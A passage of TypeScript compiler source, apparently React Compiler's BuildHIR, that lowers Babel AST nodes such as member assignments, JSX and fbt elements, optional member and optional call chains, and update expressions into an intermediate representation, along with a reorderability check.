       }\n        }\n        case 'MemberExpression': {\n          // a.b.c += <right>\n          const leftExpr = left as NodePath<t.MemberExpression>;\n          const {object, property, value} = lowerMemberExpression(\n            builder,\n            leftExpr,\n          );\n\n          // Store the previous value to a temporary\n          const previousValuePlace = lowerValueToTemporary(builder, value);\n          // Store the new value to a temporary\n          const newValuePlace = lowerValueToTemporary(builder, {\n            kind: 'BinaryExpression',\n            operator: binaryOperator,\n            left: {...previousValuePlace},\n            right: lowerExpressionToTemporary(builder, expr.get('right')),\n            loc: leftExpr.node.loc ?? GeneratedSource,\n          });\n\n          // Save the result back to the property\n          if (typeof property === 'string' || typeof property === 'number') {\n            return {\n              kind: 'PropertyStore',\n              object: {...object},\n              property: makePropertyLiteral(property),\n              value: {...newValuePlace},\n              loc: leftExpr.node.loc ?? GeneratedSource,\n            };\n          } else {\n            return {\n              kind: 'ComputedStore',\n              object: {...object},\n              property: {...property},\n              value: {...newValuePlace},\n              loc: leftExpr.node.loc ?? GeneratedSource,\n            };\n          }\n        }\n        default: {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `(BuildHIR::lowerExpression) Expected Identifier or MemberExpression, got ${expr.type} lval in AssignmentExpression`,\n              category: ErrorCategory.Todo,\n              loc: expr.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n        }\n      }\n    }\n    case 'OptionalMemberExpression': {\n      const expr = exprPath as NodePath<t.OptionalMemberExpression>;\n      const {value} = lowerOptionalMemberExpression(builder, expr, null);\n      return {kind: 'LoadLocal', place: value, loc: value.loc};\n    }\n    case 'MemberExpression': {\n      const expr = exprPath as NodePath<\n        t.MemberExpression | t.OptionalMemberExpression\n      >;\n      const {value} = lowerMemberExpression(builder, expr);\n      const place = lowerValueToTemporary(builder, value);\n      return {kind: 'LoadLocal', place, loc: place.loc};\n    }\n    case 'JSXElement': {\n      const expr = exprPath as NodePath<t.JSXElement>;\n      const opening = expr.get('openingElement');\n      const openingLoc = opening.node.loc ?? GeneratedSource;\n      const tag = lowerJsxElementName(builder, opening.get('name'));\n      const props: Array<JsxAttribute> = [];\n      for (const attribute of opening.get('attributes')) {\n        if (attribute.isJSXSpreadAttribute()) {\n          const argument = lowerExpressionToTemporary(\n            builder,\n            attribute.get('argument'),\n          );\n          props.push({kind: 'JsxSpreadAttribute', argument});\n          continue;\n        }\n        if (!attribute.isJSXAttribute()) {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `(BuildHIR::lowerExpression) Handle ${attribute.type} attributes in JSXElement`,\n              category: ErrorCategory.Todo,\n              loc: attribute.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          continue;\n        }\n        const namePath = attribute.get('name');\n        let propName;\n        if (namePath.isJSXIdentifier()) {\n          propName = namePath.node.name;\n          if (propName.indexOf(':') !== -1) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerExpression) Unexpected colon in attribute name \\`${propName}\\``,\n                category: ErrorCategory.Todo,\n                loc: namePath.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n          }\n        } else {\n          CompilerError.invariant(namePath.isJSXNamespacedName(), {\n            reason: 'Refinement',\n            loc: namePath.node.loc ?? GeneratedSource,\n          });\n          const namespace = namePath.node.namespace.name;\n          const name = namePath.node.name.name;\n          propName = `${namespace}:${name}`;\n        }\n        const valueExpr = attribute.get('value');\n        let value;\n        if (valueExpr.isJSXElement() || valueExpr.isStringLiteral()) {\n          value = lowerExpressionToTemporary(builder, valueExpr);\n        } else if (valueExpr.type == null) {\n          value = lowerValueToTemporary(builder, {\n            kind: 'Primitive',\n            value: true,\n            loc: attribute.node.loc ?? GeneratedSource,\n          });\n        } else {\n          if (!valueExpr.isJSXExpressionContainer()) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerExpression) Handle ${valueExpr.type} attribute values in JSXElement`,\n                category: ErrorCategory.Todo,\n                loc: valueExpr.node?.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          const expression = valueExpr.get('expression');\n          if (!expression.isExpression()) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerExpression) Handle ${expression.type} expressions in JSXExpressionContainer within JSXElement`,\n                category: ErrorCategory.Todo,\n                loc: valueExpr.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          value = lowerExpressionToTemporary(builder, expression);\n        }\n        props.push({kind: 'JsxAttribute', name: propName, place: value});\n      }\n\n      const isFbt =\n        tag.kind === 'BuiltinTag' && (tag.name === 'fbt' || tag.name === 'fbs');\n      if (isFbt) {\n        const tagName = tag.name;\n        const openingIdentifier = opening.get('name');\n        const tagIdentifier = openingIdentifier.isJSXIdentifier()\n          ? builder.resolveIdentifier(openingIdentifier)\n          : null;\n        if (tagIdentifier != null) {\n          // This is already checked in builder.resolveIdentifier\n          CompilerError.invariant(tagIdentifier.kind !== 'Identifier', {\n            reason: `<${tagName}> tags should be module-level imports`,\n            loc: openingIdentifier.node.loc ?? GeneratedSource,\n          });\n        }\n        // see `error.todo-multiple-fbt-plural` fixture for explanation\n        const fbtLocations = {\n          enum: new Array<SourceLocation>(),\n          plural: new Array<SourceLocation>(),\n          pronoun: new Array<SourceLocation>(),\n        };\n        expr.traverse({\n          JSXClosingElement(path) {\n            path.skip();\n          },\n          JSXNamespacedName(path) {\n            if (path.node.namespace.name === tagName) {\n              switch (path.node.name.name) {\n                case 'enum':\n                  fbtLocations.enum.push(path.node.loc ?? GeneratedSource);\n                  break;\n                case 'plural':\n                  fbtLocations.plural.push(path.node.loc ?? GeneratedSource);\n                  break;\n                case 'pronoun':\n                  fbtLocations.pronoun.push(path.node.loc ?? GeneratedSource);\n                  break;\n              }\n            }\n          },\n        });\n        for (const [name, locations] of Object.entries(fbtLocations)) {\n          if (locations.length > 1) {\n            builder.recordError(\n              new CompilerDiagnostic({\n                category: ErrorCategory.Todo,\n                reason: 'Support duplicate fbt tags',\n                description: `Support \\`<${tagName}>\\` tags with multiple \\`<${tagName}:${name}>\\` values`,\n                details: locations.map(loc => {\n                  return {\n                    kind: 'error' as const,\n                    message: `Multiple \\`<${tagName}:${name}>\\` tags found`,\n                    loc,\n                  };\n                }),\n              }),\n            );\n          }\n        }\n      }\n\n      /**\n       * Increment fbt counter before traversing into children, as whitespace\n       * in jsx text is handled differently for fbt subtrees.\n       */\n      isFbt && builder.fbtDepth++;\n      const children: Array<Place> = expr\n        .get('children')\n        .map(child => lowerJsxElement(builder, child))\n        .filter(notNull);\n      isFbt && builder.fbtDepth--;\n\n      return {\n        kind: 'JsxExpression',\n        tag,\n        props,\n        children: children.length === 0 ? null : children,\n        loc: exprLoc,\n        openingLoc: openingLoc,\n        closingLoc: expr.get('closingElement').node?.loc ?? GeneratedSource,\n      };\n    }\n    case 'JSXFragment': {\n      const expr = exprPath as NodePath<t.JSXFragment>;\n      const children: Array<Place> = expr\n        .get('children')\n        .map(child => lowerJsxElement(builder, child))\n        .filter(notNull);\n      return {\n        kind: 'JsxFragment',\n        children,\n        loc: exprLoc,\n      };\n    }\n    case 'ArrowFunctionExpression':\n    case 'FunctionExpression': {\n      const expr = exprPath as NodePath<\n        t.FunctionExpression | t.ArrowFunctionExpression\n      >;\n      return lowerFunctionToValue(builder, expr);\n    }\n    case 'TaggedTemplateExpression': {\n      const expr = exprPath as NodePath<t.TaggedTemplateExpression>;\n      if (expr.get('quasi').get('expressions').length !== 0) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason:\n              '(BuildHIR::lowerExpression) Handle tagged template with interpolations',\n            category: ErrorCategory.Todo,\n            loc: exprPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      CompilerError.invariant(expr.get('quasi').get('quasis').length == 1, {\n        reason:\n          \"there should be only one quasi as we don't support interpolations yet\",\n        loc: expr.node.loc ?? GeneratedSource,\n      });\n      const value = expr.get('quasi').get('quasis').at(0)!.node.value;\n      if (value.raw !== value.cooked) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason:\n              '(BuildHIR::lowerExpression) Handle tagged template where cooked value is different from raw value',\n            category: ErrorCategory.Todo,\n            loc: exprPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n\n      return {\n        kind: 'TaggedTemplateExpression',\n        tag: lowerExpressionToTemporary(builder, expr.get('tag')),\n        value,\n        loc: exprLoc,\n      };\n    }\n    case 'TemplateLiteral': {\n      const expr = exprPath as NodePath<t.TemplateLiteral>;\n      const subexprs = expr.get('expressions');\n      const quasis = expr.get('quasis');\n\n      if (subexprs.length !== quasis.length - 1) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `Unexpected quasi and subexpression lengths in template literal`,\n            category: ErrorCategory.Syntax,\n            loc: exprPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n\n      if (subexprs.some(e => !e.isExpression())) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerAssignment) Handle TSType in TemplateLiteral.`,\n            category: ErrorCategory.Todo,\n            loc: exprPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n\n      const subexprPlaces = subexprs.map(e =>\n        lowerExpressionToTemporary(builder, e as NodePath<t.Expression>),\n      );\n\n      return {\n        kind: 'TemplateLiteral',\n        subexprs: subexprPlaces,\n        quasis: expr.get('quasis').map(q => q.node.value),\n        loc: exprLoc,\n      };\n    }\n    case 'UnaryExpression': {\n      let expr = exprPath as NodePath<t.UnaryExpression>;\n      if (expr.node.operator === 'delete') {\n        const argument = expr.get('argument');\n        if (argument.isMemberExpression()) {\n          const {object, property} = lowerMemberExpression(builder, argument);\n          if (typeof property === 'string' || typeof property === 'number') {\n            return {\n              kind: 'PropertyDelete',\n              object,\n              property: makePropertyLiteral(property),\n              loc: exprLoc,\n            };\n          } else {\n            return {\n              kind: 'ComputedDelete',\n              object,\n              property,\n              loc: exprLoc,\n            };\n          }\n        } else {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `Only object properties can be deleted`,\n              category: ErrorCategory.Syntax,\n              loc: expr.node.loc ?? null,\n              suggestions: [\n                {\n                  description: 'Remove this line',\n                  range: [expr.node.start!, expr.node.end!],\n                  op: CompilerSuggestionOperation.Remove,\n                },\n              ],\n            }),\n          );\n          return {kind: 'UnsupportedNode', node: expr.node, loc: exprLoc};\n        }\n      } else if (expr.node.operator === 'throw') {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `Throw expressions are not supported`,\n            category: ErrorCategory.Syntax,\n            loc: expr.node.loc ?? null,\n            suggestions: [\n              {\n                description: 'Remove this line',\n                range: [expr.node.start!, expr.node.end!],\n                op: CompilerSuggestionOperation.Remove,\n              },\n            ],\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: expr.node, loc: exprLoc};\n      } else {\n        return {\n          kind: 'UnaryExpression',\n          operator: expr.node.operator,\n          value: lowerExpressionToTemporary(builder, expr.get('argument')),\n          loc: exprLoc,\n        };\n      }\n    }\n    case 'AwaitExpression': {\n      let expr = exprPath as NodePath<t.AwaitExpression>;\n      return {\n        kind: 'Await',\n        value: lowerExpressionToTemporary(builder, expr.get('argument')),\n        loc: exprLoc,\n      };\n    }\n    case 'TypeCastExpression': {\n      let expr = exprPath as NodePath<t.TypeCastExpression>;\n      const typeAnnotation = expr.get('typeAnnotation').get('typeAnnotation');\n      return {\n        kind: 'TypeCastExpression',\n        value: lowerExpressionToTemporary(builder, expr.get('expression')),\n        typeAnnotation: typeAnnotation.node,\n        typeAnnotationKind: 'cast',\n        type: lowerType(typeAnnotation.node),\n        loc: exprLoc,\n      };\n    }\n    case 'TSSatisfiesExpression': {\n      let expr = exprPath as NodePath<t.TSSatisfiesExpression>;\n      const typeAnnotation = expr.get('typeAnnotation');\n      return {\n        kind: 'TypeCastExpression',\n        value: lowerExpressionToTemporary(builder, expr.get('expression')),\n        typeAnnotation: typeAnnotation.node,\n        typeAnnotationKind: 'satisfies',\n        type: lowerType(typeAnnotation.node),\n        loc: exprLoc,\n      };\n    }\n    case 'TSAsExpression': {\n      let expr = exprPath as NodePath<t.TSAsExpression>;\n      const typeAnnotation = expr.get('typeAnnotation');\n      return {\n        kind: 'TypeCastExpression',\n        value: lowerExpressionToTemporary(builder, expr.get('expression')),\n        typeAnnotation: typeAnnotation.node,\n        typeAnnotationKind: 'as',\n        type: lowerType(typeAnnotation.node),\n        loc: exprLoc,\n      };\n    }\n    case 'UpdateExpression': {\n      let expr = exprPath as NodePath<t.UpdateExpression>;\n      const argument = expr.get('argument');\n      if (argument.isMemberExpression()) {\n        const binaryOperator = expr.node.operator === '++' ? '+' : '-';\n        const leftExpr = argument as NodePath<t.MemberExpression>;\n        const {object, property, value} = lowerMemberExpression(\n          builder,\n          leftExpr,\n        );\n\n        // Store the previous value to a temporary\n        const previousValuePlace = lowerValueToTemporary(builder, value);\n        // Store the new value to a temporary\n        const updatedValue = lowerValueToTemporary(builder, {\n          kind: 'BinaryExpression',\n          operator: binaryOperator,\n          left: {...previousValuePlace},\n          right: lowerValueToTemporary(builder, {\n            kind: 'Primitive',\n            value: 1,\n            loc: GeneratedSource,\n          }),\n          loc: leftExpr.node.loc ?? GeneratedSource,\n        });\n\n        // Save the result back to the property\n        let newValuePlace;\n        if (typeof property === 'string' || typeof property === 'number') {\n          newValuePlace = lowerValueToTemporary(builder, {\n            kind: 'PropertyStore',\n            object: {...object},\n            property: makePropertyLiteral(property),\n            value: {...updatedValue},\n            loc: leftExpr.node.loc ?? GeneratedSource,\n          });\n        } else {\n          newValuePlace = lowerValueToTemporary(builder, {\n            kind: 'ComputedStore',\n            object: {...object},\n            property: {...property},\n            value: {...updatedValue},\n            loc: leftExpr.node.loc ?? GeneratedSource,\n          });\n        }\n\n        return {\n          kind: 'LoadLocal',\n          place: expr.node.prefix\n            ? {...newValuePlace}\n            : {...previousValuePlace},\n          loc: exprLoc,\n        };\n      }\n      if (!argument.isIdentifier()) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerExpression) Handle UpdateExpression with ${argument.type} argument`,\n            category: ErrorCategory.Todo,\n            loc: exprPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      } else if (builder.isContextIdentifier(argument)) {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas.`,\n            category: ErrorCategory.Todo,\n            loc: exprPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      const lvalue = lowerIdentifierForAssignment(\n        builder,\n        argument.node.loc ?? GeneratedSource,\n        InstructionKind.Reassign,\n        argument,\n      );\n      if (lvalue === null) {\n        /*\n         * lowerIdentifierForAssignment should have already reported an error if it returned null,\n         * we check here just in case\n         */\n        if (!builder.environment.hasErrors()) {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `(BuildHIR::lowerExpression) Found an invalid UpdateExpression without a previously reported error`,\n              category: ErrorCategory.Invariant,\n              loc: exprLoc,\n              suggestions: null,\n            }),\n          );\n        }\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      } else if (lvalue.kind === 'Global') {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `(BuildHIR::lowerExpression) Support UpdateExpression where argument is a global`,\n            category: ErrorCategory.Todo,\n            loc: exprLoc,\n            suggestions: null,\n          }),\n        );\n        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n      }\n      const value = lowerIdentifier(builder, argument);\n      if (expr.node.prefix) {\n        return {\n          kind: 'PrefixUpdate',\n          lvalue,\n          operation: expr.node.operator,\n          value,\n          loc: exprLoc,\n        };\n      } else {\n        return {\n          kind: 'PostfixUpdate',\n          lvalue,\n          operation: expr.node.operator,\n          value,\n          loc: exprLoc,\n        };\n      }\n    }\n    case 'RegExpLiteral': {\n      let expr = exprPath as NodePath<t.RegExpLiteral>;\n      return {\n        kind: 'RegExpLiteral',\n        pattern: expr.node.pattern,\n        flags: expr.node.flags,\n        loc: expr.node.loc ?? GeneratedSource,\n      };\n    }\n    case 'TSInstantiationExpression':\n    case 'TSNonNullExpression': {\n      let expr = exprPath as NodePath<t.TSNonNullExpression>;\n      return lowerExpression(builder, expr.get('expression'));\n    }\n    case 'MetaProperty': {\n      let expr = exprPath as NodePath<t.MetaProperty>;\n      if (\n        expr.node.meta.name === 'import' &&\n        expr.node.property.name === 'meta'\n      ) {\n        return {\n          kind: 'MetaProperty',\n          meta: expr.node.meta.name,\n          property: expr.node.property.name,\n          loc: expr.node.loc ?? GeneratedSource,\n        };\n      }\n\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `(BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta`,\n          category: ErrorCategory.Todo,\n          loc: exprPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n    }\n    default: {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `(BuildHIR::lowerExpression) Handle ${exprPath.type} expressions`,\n          category: ErrorCategory.Todo,\n          loc: exprPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};\n    }\n  }\n}\n\nfunction lowerOptionalMemberExpression(\n  builder: HIRBuilder,\n  expr: NodePath<t.OptionalMemberExpression>,\n  parentAlternate: BlockId | null,\n): {object: Place; value: Place} {\n  const optional = expr.node.optional;\n  const loc = expr.node.loc ?? GeneratedSource;\n  const place = buildTemporaryPlace(builder, loc);\n  const continuationBlock = builder.reserve(builder.currentBlockKind());\n  const consequent = builder.reserve('value');\n\n  /*\n   * block to evaluate if the callee is null/undefined, this sets the result of the call to undefined.\n   * note that we only create an alternate when first entering an optional subtree of the ast: if this\n   * is a child of an optional node, we use the alterate created by the parent.\n   */\n  const alternate =\n    parentAlternate !== null\n      ? parentAlternate\n      : builder.enter('value', () => {\n          const temp = lowerValueToTemporary(builder, {\n            kind: 'Primitive',\n            value: undefined,\n            loc,\n          });\n          lowerValueToTemporary(builder, {\n            kind: 'StoreLocal',\n            lvalue: {kind: InstructionKind.Const, place: {...place}},\n            value: {...temp},\n            type: null,\n            loc,\n          });\n          return {\n            kind: 'goto',\n            variant: GotoVariant.Break,\n            block: continuationBlock.id,\n            id: makeInstructionId(0),\n            loc,\n          };\n        });\n\n  let object: Place | null = null;\n  const testBlock = builder.enter('value', () => {\n    const objectPath = expr.get('object');\n    if (objectPath.isOptionalMemberExpression()) {\n      const {value} = lowerOptionalMemberExpression(\n        builder,\n        objectPath,\n        alternate,\n      );\n      object = value;\n    } else if (objectPath.isOptionalCallExpression()) {\n      const value = lowerOptionalCallExpression(builder, objectPath, alternate);\n      object = lowerValueToTemporary(builder, value);\n    } else {\n      object = lowerExpressionToTemporary(builder, objectPath);\n    }\n    return {\n      kind: 'branch',\n      test: {...object},\n      consequent: consequent.id,\n      alternate,\n      fallthrough: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc,\n    };\n  });\n  CompilerError.invariant(object !== null, {\n    reason: 'Satisfy type checker',\n    loc: GeneratedSource,\n  });\n\n  /*\n   * block to evaluate if the callee is non-null/undefined. arguments are lowered in this block to preserve\n   * the semantic of conditional evaluation depending on the callee\n   */\n  builder.enterReserved(consequent, () => {\n    const {value} = lowerMemberExpression(builder, expr, object);\n    const temp = lowerValueToTemporary(builder, value);\n    lowerValueToTemporary(builder, {\n      kind: 'StoreLocal',\n      lvalue: {kind: InstructionKind.Const, place: {...place}},\n      value: {...temp},\n      type: null,\n      loc,\n    });\n    return {\n      kind: 'goto',\n      variant: GotoVariant.Break,\n      block: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc,\n    };\n  });\n\n  builder.terminateWithContinuation(\n    {\n      kind: 'optional',\n      optional,\n      test: testBlock,\n      fallthrough: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc,\n    },\n    continuationBlock,\n  );\n\n  return {object, value: place};\n}\n\nfunction lowerOptionalCallExpression(\n  builder: HIRBuilder,\n  expr: NodePath<t.OptionalCallExpression>,\n  parentAlternate: BlockId | null,\n): InstructionValue {\n  const optional = expr.node.optional;\n  const calleePath = expr.get('callee');\n  const loc = expr.node.loc ?? GeneratedSource;\n  const place = buildTemporaryPlace(builder, loc);\n  const continuationBlock = builder.reserve(builder.currentBlockKind());\n  const consequent = builder.reserve('value');\n\n  /*\n   * block to evaluate if the callee is null/undefined, this sets the result of the call to undefined.\n   * note that we only create an alternate when first entering an optional subtree of the ast: if this\n   * is a child of an optional node, we use the alterate created by the parent.\n   */\n  const alternate =\n    parentAlternate !== null\n      ? parentAlternate\n      : builder.enter('value', () => {\n          const temp = lowerValueToTemporary(builder, {\n            kind: 'Primitive',\n            value: undefined,\n            loc,\n          });\n          lowerValueToTemporary(builder, {\n            kind: 'StoreLocal',\n            lvalue: {kind: InstructionKind.Const, place: {...place}},\n            value: {...temp},\n            type: null,\n            loc,\n          });\n          return {\n            kind: 'goto',\n            variant: GotoVariant.Break,\n            block: continuationBlock.id,\n            id: makeInstructionId(0),\n            loc,\n          };\n        });\n\n  /*\n   * Lower the callee within the test block to represent the fact that the code for the callee is\n   * scoped within the optional\n   */\n  let callee:\n    | {kind: 'CallExpression'; callee: Place}\n    | {kind: 'MethodCall'; receiver: Place; property: Place};\n  const testBlock = builder.enter('value', () => {\n    if (calleePath.isOptionalCallExpression()) {\n      // Recursively call lowerOptionalCallExpression to thread down the alternate block\n      const value = lowerOptionalCallExpression(builder, calleePath, alternate);\n      const valuePlace = lowerValueToTemporary(builder, value);\n      callee = {\n        kind: 'CallExpression',\n        callee: valuePlace,\n      };\n    } else if (calleePath.isOptionalMemberExpression()) {\n      const {object, value} = lowerOptionalMemberExpression(\n        builder,\n        calleePath,\n        alternate,\n      );\n      callee = {\n        kind: 'MethodCall',\n        receiver: object,\n        property: value,\n      };\n    } else if (calleePath.isMemberExpression()) {\n      const memberExpr = lowerMemberExpression(builder, calleePath);\n      const propertyPlace = lowerValueToTemporary(builder, memberExpr.value);\n      callee = {\n        kind: 'MethodCall',\n        receiver: memberExpr.object,\n        property: propertyPlace,\n      };\n    } else {\n      callee = {\n        kind: 'CallExpression',\n        callee: lowerExpressionToTemporary(builder, calleePath),\n      };\n    }\n    const testPlace =\n      callee.kind === 'CallExpression' ? callee.callee : callee.property;\n    return {\n      kind: 'branch',\n      test: {...testPlace},\n      consequent: consequent.id,\n      alternate,\n      fallthrough: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc,\n    };\n  });\n\n  /*\n   * block to evaluate if the callee is non-null/undefined. arguments are lowered in this block to preserve\n   * the semantic of conditional evaluation depending on the callee\n   */\n  builder.enterReserved(consequent, () => {\n    const args = lowerArguments(builder, expr.get('arguments'));\n    const temp = buildTemporaryPlace(builder, loc);\n    if (callee.kind === 'CallExpression') {\n      builder.push({\n        id: makeInstructionId(0),\n        lvalue: {...temp},\n        value: {\n          kind: 'CallExpression',\n          callee: {...callee.callee},\n          args,\n          loc,\n        },\n        effects: null,\n        loc,\n      });\n    } else {\n      builder.push({\n        id: makeInstructionId(0),\n        lvalue: {...temp},\n        value: {\n          kind: 'MethodCall',\n          receiver: {...callee.receiver},\n          property: {...callee.property},\n          args,\n          loc,\n        },\n        effects: null,\n        loc,\n      });\n    }\n    lowerValueToTemporary(builder, {\n      kind: 'StoreLocal',\n      lvalue: {kind: InstructionKind.Const, place: {...place}},\n      value: {...temp},\n      type: null,\n      loc,\n    });\n    return {\n      kind: 'goto',\n      variant: GotoVariant.Break,\n      block: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc,\n    };\n  });\n\n  builder.terminateWithContinuation(\n    {\n      kind: 'optional',\n      optional,\n      test: testBlock,\n      fallthrough: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc,\n    },\n    continuationBlock,\n  );\n\n  return {kind: 'LoadLocal', place, loc: place.loc};\n}\n\n/*\n * There are a few places where we do not preserve original evaluation ordering and/or control flow, such as\n * switch case test values and default values in destructuring (assignment patterns). In these cases we allow\n * simple expressions whose evaluation cannot be observed:\n *  - primitives\n *  - arrays/objects whose values are also safely reorderable.\n */\nfunction lowerReorderableExpression(\n  builder: HIRBuilder,\n  expr: NodePath<t.Expression>,\n): Place {\n  if (!isReorderableExpression(builder, expr, true)) {\n    builder.recordError(\n      new CompilerErrorDetail({\n        reason: `(BuildHIR::node.lowerReorderableExpression) Expression type \\`${expr.type}\\` cannot be safely reordered`,\n        category: ErrorCategory.Todo,\n        loc: expr.node.loc ?? null,\n        suggestions: null,\n      }),\n    );\n  }\n  return lowerExpressionToTemporary(builder, expr);\n}\n\nfunction isReorderableExpression(\n  builder: HIRBuilder,\n  expr: NodePath<t.Expression>,\n  allowLocalIdentifiers: boolean,\n): boolean {\n  switch (expr.node.type) {\n    case 'Identifier': {\n      const binding = builder.resolveIdentifier(expr as NodePath<t.Identifier>);\n      if (binding.kind === 'Identifier') {\n        return allowLocalIdentifiers;\n      } else {\n        // global, definitely safe\n        return true;\n      }\n    }\n    case 'TSInstantiationExpression': {\n      const innerExpr = (expr as NodePath<t.TSInstantiationExpression>).get(\n        'expression',\n      ) as NodePath<t.Expression>;\n      return isReorderableExpression(builder, innerExpr, allowLocalIdentifiers);\n    }\n    case 'RegExpLiteral':\n    case 'StringLiteral':\n    case 'NumericLiteral':\n    case 'NullLiteral':\n    case 'BooleanLiteral':\n    case 'BigIntLiteral': {\n      return true;\n    }\n    case 'UnaryExpression': {\n      const unary = expr as NodePath<t.UnaryExpression>;\n      switch (expr.node.operator) {\n        case '!':\n        case '+':\n        case '-': {\n          return isReorderableExpression(\n            builder,\n            unary.get('argument'),\n            allowLocalIdentifiers,\n          );\n        }\n        default: {\n          return false;\n        }\n      }\n    }\n    case 'TSAsExpression':\n    case 'TSNonNullExpression':\n    case 'TypeCastExpression': {\n      return isReorderableExpression(\n        builder,\n        (expr as NodePath<t.TypeCastExpression>).get('expression'),\n        allowLocalIdentifiers,\n      );\n    }\n    case 'LogicalExpression': {\n      const logical = expr as NodePath<t.LogicalExpression>;\n      return (\n        isReorderableExpression(\n          builder,\n          logical.get('left'),\n          allowLocalIdentifiers,\n        ) &&\n        isReorderableExpression(\n          builder,\n          logical.get('right'),\n          allowLocalIdentifiers,\n        )\n      );\n    }\n    case 'ConditionalExpression': {\n      const conditional = expr as NodePath<t.ConditionalExpression>;\n      return (\n        isReorderableExpression(\n          builder,\n          conditional.get('test'),\n          allowLocalIdentifiers,\n        ) &&\n        isReorderableExpression(\n          builder,\n          conditional.get('consequent'),\n          allowLocalIdentifiers,\n        ) &&\n        isReorderableExpression(\n          builder,\n          conditional.get('alternate'),\n          allowLocalIdentifiers,\n        )\n      );\n    }\n    case 'ArrayExpression': {\n      return (expr as NodePath<t.ArrayExpression>)\n        .get('elements')\n        .every(\n          element =>\n            element.isExpression() &&\n            isReorderableExpression(builder, element, allowLocalIdentifiers),\n        );\n    }\n    case 'ObjectExpression': {\n      return (expr as NodePath<t.ObjectExpression>)\n        .get('properties')\n        .every(property => {\n          if (!property.isObjectProperty() || property.node.computed) {\n            return false;\n          }\n          const value = property.get('value');\n          return (\n            value.isExpression() &&\n            isReorderableExpression(builder, value, allowLocalIdentifiers)\n          );\n        });\n    }\n    case 'MemberExpression': {\n      /*\n       * A common pattern is switch statements where the case test values are properties of a global,\n       * eg `case ProductOptions.Option: { ... }`\n       * We therefore allow expressions where the innermost object is a global identifier, and reject\n       * all other member expressions (for now).\n       */\n      const test = expr as NodePath<t.MemberExpression>;\n      let innerObject: NodePath<t.Expression> = test;\n      while (innerObject.isMemberExpression()) {\n        innerObject = innerObject.get('object');\n      }\n      if (\n        innerObject.isIdentifier() &&\n        builder.resolveIdentifier(innerObject).kind !== 'Identifier'\n      ) {\n        // This is a property/computed load from a global, that's safe to reorder\n        return true;\n      } else {\n        return false;\n      }\n    }\n    case 'ArrowFunctionExpression': {\n      const fn = expr as NodePath<t.ArrowFunctionExpression>;\n      const body = fn.get('body');\n      if (body.node.type === 'BlockStatement') {\n        return body.node.body.length === 0;\n      } else {\n        // For TypeScript\n        invariant(body.isExpression(), 'Expected an expression');\n        return isReorderableExpression(\n          builder,\n          body,\n          /* disallow local identifiers in the body */ false,\n        );\n      }\n    }\n    case 'CallExpression': {\n      const call = expr as NodePath<t.CallExpression>;\n      const callee = call.get('callee');\n      return (\n        callee.isExpression() &&\n        isReorderableExpression(builder, callee, allowLocalIdentifiers) &&\n        call\n          .get('arguments')\n          .every(\n            arg =>\n              arg.isExpression() &&\n              isReorderableExpression(builder, arg, allowLocalIdentifiers),\n          )\n      );\n    }\n    default: {\n      return false;\n    }\n  }\n}\n\nfunction lowerArguments(\n  builder: HIRBuilder,\n  expr: Array<\n    NodePath<\n      | t.Expression\n      | t.SpreadElement\n      | t.JSXNamespacedName\n      | t.ArgumentPlaceholder\n    >\n  >,\n): Array<Place | SpreadPattern> {\n  let args: Array<Place | SpreadPattern> = [];\n  for (const argPath of expr) {\n    if (argPath.isSpreadElement()) {\n      args.push({\n        kind: 'Spread',\n        place: lowerExpressionToTemporary(builder, argPath.get('argument')),\n      });\n    } else if (argPath.isExpression()) {\n      